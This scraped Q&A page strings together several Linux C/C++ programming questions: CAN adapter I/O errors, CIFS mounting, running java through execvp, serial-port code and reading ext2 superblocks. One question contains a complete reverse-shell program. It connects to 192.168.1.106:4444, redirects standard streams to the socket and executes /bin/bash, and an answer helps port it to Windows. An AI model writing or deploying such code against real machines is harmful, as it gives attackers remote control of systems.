Why does Ubuntu throw an I/O error randomly? - c++

I have got a PC/104 (its OS is Ubuntu 16.04 with kernel 4.19.89 xenomai3) that is connected to two motors via two CAN adapters. Few days back, I wrote some simple code to open my PC/104's CAN ports using the libpcanfd library.
My project folder observes the following hierarchy:
io_error_debug
build
include (empty)
src
CMakeLists.txt
main.cpp
CMakeLists.txt
CMakeLists.txt at /root:
cmake_minimum_required(VERSION 2.6)
project(io_error_debug)
include_directories(${PROJECT_SOURCE_DIR}/include) # add before adding subdirectory
add_subdirectory (src)
add_executable(io_error_debug src/main.cpp)
target_link_libraries(io_error_debug /usr/lib/libpcanfd.so # pcan
"-Wl,--no-as-needed -Wl,#/usr/xenomai/lib/cobalt.wrappers -Wl,#/usr/xenomai /lib/modechk.wrappers /usr/xenomai/lib/xenomai/bootstrap-pic.o -L/usr/xenomai/lib -lcobalt -lmodechk -lpthread -lrt"
)
CMakeLists.txt under /src:
aux_source_directory(. SRC_LIST)
main.cpp:
#include <sys/time.h>
#include <lcm/lcm_coretypes.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <pthread.h>
#include <errno.h>
#include <sys/syscall.h>
#include <pcanfd.h>
#include <libpcanfd.h>
#include <cmath>
#include <iostream>
int main(int argc, char *argv[]){
int fd;
fd = pcanfd_open("/dev/pcan0", OFD_BITRATE | PCANFD_INIT_STD_MSG_ONLY | OFD_NONBLOCKING, 1000000);
if (fd < 0)
{
printf("Open operation failed with err %d on port no. %s\n",fd, "/dev/pcan0");
exit(1);
}else{
printf("Open succeeded with return value %d on port no. %s\n",fd, "/dev/pcan0");
}
}
The code compiles and executes well when the motors are switched on. However, when I switch off the motors and switch them on again, I get the following error after executing my code:
Open operation failed with err -5 on port no. /dev/pcan0
Furthermore, dmesg shows these suspicious error lines when I run my code:
[16900.914132] pcan: set_normal_mode(CAN1) failed (err -5)
[16900.914162] pcan: can't open device hardware itself (err -5)!
The documentation states that -5 is an errno error. Therefore, I looked for the value -5 in this errno errors' list and I found out that it isI/O error. Interestingly, when I switch off the PC/104 and execute my code, the program runs well. Nevertheless, when I repeat the aforementioned operation (i.e., switching off and on the motors) I will encounter the same error. I do not understand what is happening.

Related

Mount a CIFS client/connection with sys/mount

I am trying to make a CIFS connection between my Ubuntu client desktop and my Windows 10 server Desktop, so I can share folders and files though a local network.
My code is the following:
#include <sys/mount.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <string>
using namespace std;
int main()
{
string src = "//xxx.xxx.x.xxx/shared_folder"; //xxx.xxx.x.xxx should be replaced by the server IP. shared_folder is my folder shared on the server side
string dst = "/opt/share";//My shared folder on Linux
string fstype = "cifs";
printf("src: %s\n", src.c_str());
if( -1 == mount(src.c_str(), dst.c_str(), fstype.c_str(), MS_MGC_VAL | MS_SILENT , "username=myemail#hotmail.com,password=mypassword") )
{
printf("mount failed with error: %s\n",strerror(errno));
}
else
printf("mount success!\n");
return 0;
}
But it always returns:
src: //xxx.xxx.x.xxx/shared_folder
mount failed with error: Operation not permitted
[1] + Done "/usr/bin/gdb" --interpreter=mi --tty=${DbgTerm} 0<"/tmp/Microsoft-MIEngine-In-fmryivr5.02p" 1>"/tmp/Microsoft-MIEngine-Out-zfdhv3x2.zc5"
Any clue, please?

error occur when I call execvp to run java

I use chdir() to switch the directory, and then use execvp() to execute "java Main". I'm sure there is Main.class, but something went wrong. I want to know why.
#include <cstdio>
#include <unistd.h>
using namespace std;
int main(){
char buf[80];
getcwd(buf,sizeof(buf));
printf("current working directory: %s\n", buf);
chdir("/home/keane/Judge/temp");
getcwd(buf,sizeof(buf));
printf("current working directory: %s\n", buf);
char *array[3];
array[0] = "java";
array[1] = "Main";
array[2] = NULL;
execvp("java", array);
return 0;
}
the error is could not find the main class , and I can run java Main in that directory.
What drives me crazy is that I can't use system("java Main"), and the error is that Error: Could not find or load main class Main, and it's just like this on my computer
update:
#include <unistd.h>
#include <cstdlib>
int main(){
chdir("/home/keane/Judge/temp");
system("pwd");
system("ls");
system("java Main");
return 0;
}
the output on console is:
/home/keane/Judge/temp
1.out 3.out 5.out Main.class stdout_spj.txt
2.out 4.out ce.txt Main.java
Error: Could not find or load the main class Main
my final solution is to reboot the computer and add -cp . to the java command.
althought I don't why is necessary.
thanks everyone!
This works as intended on my system, maybe you need to add -cp . to your java call.
EDIT: to elaborate: -cp (for classpath) tells java where to look for user provided .class files. This does not necessarily include the current working directory by default.
The execution of execvp() is non-blocking and takes ownership of the caller, that means that when it starts if the program ends too quickly you will never be able to see the result, to solve this I use fork(). The wait is just to avoid using sleep as I used at the begining. Its all in c.
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char** argv){
char buf[80];
getcwd(buf,sizeof(buf));
printf("current working directory: %s\n", buf);
chdir("/home/");
getcwd(buf,sizeof(buf));
printf("current working directory: %s\n", buf);
char *array[3] = {"java", "Main", NULL};
if(fork() == 0) {
if(execvp("java", array) < 0) {
fprintf(stderr, "Error spawning command: %s\n", strerror(errno));
}
} else {
printf("Command spawned\n");
wait(NULL); // Wait to the forked process to end (avoid using sleep)
}
return 0;
}

Implement <netinet/in.h> in Windows Visual Studio

I'm currently working on a c++ project regarding a TCP Remote shell. Therefore I build the following code. As I'm working on windows, I found substitute libraries and headers for all of the following "#include", except for <netinet/in.h>
Thanks for all your help!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
´´´´´´
Do not try to find a match for your include files from Linux to Windows. Instead, try to compile your code step by step and add those include files that you need. What I can see in the code:
Instead of inet_addr you can use inet_pton that is inside the <Ws2tcpip.h> include file.
Instead of dub2 use _dub2 in windows, that is inside <io.h>.
instead of execve, use std::system.

gcc compiler doesn't recognize my code for using Serial Port in Raspberry Pi 3

I'm compiling and running a C++/OpenCV program directly on the Raspberry Pi 3's Terminal with the line:
g++ pkg-config --cflags --libs opencv name.cpp -o name
I have been working like this without issues, but now I want to send some results like coordinates and numbers via serial port to Arduino, I tried to use this code:
#include <sstream>
#include <string>
#include <iostream>
#include <fstream>
#include <sys/time.h>
#include <termios.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
//######################################################################
int fd = open("/dev/ttyAMS0", O_RDWR);
if (fd == -1) {
perror("/dev/ttyAMS0");
return 1;
}
struct termios tios;
tcgetattr(fd, &tios);
// disable flow control and all that, and ignore break and parity errors
tios.c_iflag = IGNBRK | IGNPAR;
tios.c_oflag = 0;
tios.c_lflag = 0;
cfsetspeed(&tios, B9600);
tcsetattr(fd, TCSAFLUSH, &tios);
// the serial port has a brief glitch once we turn it on which generates a
// start bit; sleep for 1ms to let it settle
usleep(1000);
// output to serial port
char msg[] = "hi there";
write(fd, msg, strlen(msg));
But now each time I try to compile I get the errors shown in the image Here:
So I guess I'm missing something, I have added all the libraries for the Serial Port as well but I don't know if I should add something on the line for compile as I did with the opencv libraries. Thanks in advance for your answers :)
I can't add comment so I will answer what I think about your problem.
Looks like your code written in global scope outer any function body.
You can't use if statement out of any function body.
Try to enclose your if statement in function body.
Something like this:
void chec(int fd) {
if (fd == -1) {
perror("/dev/ttyAMS0");
exit(1);
}
}
int fd = open("/dev/ttyAMS0", O_RDWR);
check(fd);

reading linux inode bitmap

I'm going to fetch linux inode bitmaps with c++. I've use this code to fetch super block first:
#include <cstdlib>
#include <linux/ext2_fs.h>
#include <linux/fs.h>
#include <iostream>
#include <stdio.h>
#include <fstream>
#include <fcntl.h>
#include <linux/fs.h>
using namespace std;
/*
*
*/
int main() {
int fd;
char boot[1024];
struct ext2_super_block super_block;
fd = open("/dev/sda1", O_RDONLY);
/* Reads the boot section and the superblock */
read(fd, boot, 1024);
read(fd, &super_block, sizeof (struct ext2_super_block));
/* Prints the Magic Number */
printf("%x\n", super_block.s_magic);
close(fd);
return 0;
}
but every time i run it , i get a error :
In file included from main.cpp:2:0:
/usr/include/linux/ext2_fs.h:181:18: error: ‘S_ISDIR’ was not declared in this scope
/usr/include/linux/ext2_fs.h:183:23: error: ‘S_ISREG’ was not declared in this scope
I couldn't find any good example or tutorial for this.is there anybody to help me?
EDIT :
I've include <linux/stat.h> but still get same error.
#grep -rw S_ISREG /usr/src/linux/include
/usr/src/linux/include/linux/fs.h: if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) ||
/usr/src/linux/include/linux/fs.h.~1~: if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) ||
/usr/src/linux/include/linux/stat.h:#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG)
So you should find stat.h in yours kernel source tree and include it.
The Linux source code "stat.h" is not the same file as that comes with the C-library. They just happen to have the same name. You will need to set your include path to find the correct stat.h (you may need BOTH, depending on what you are trying to do).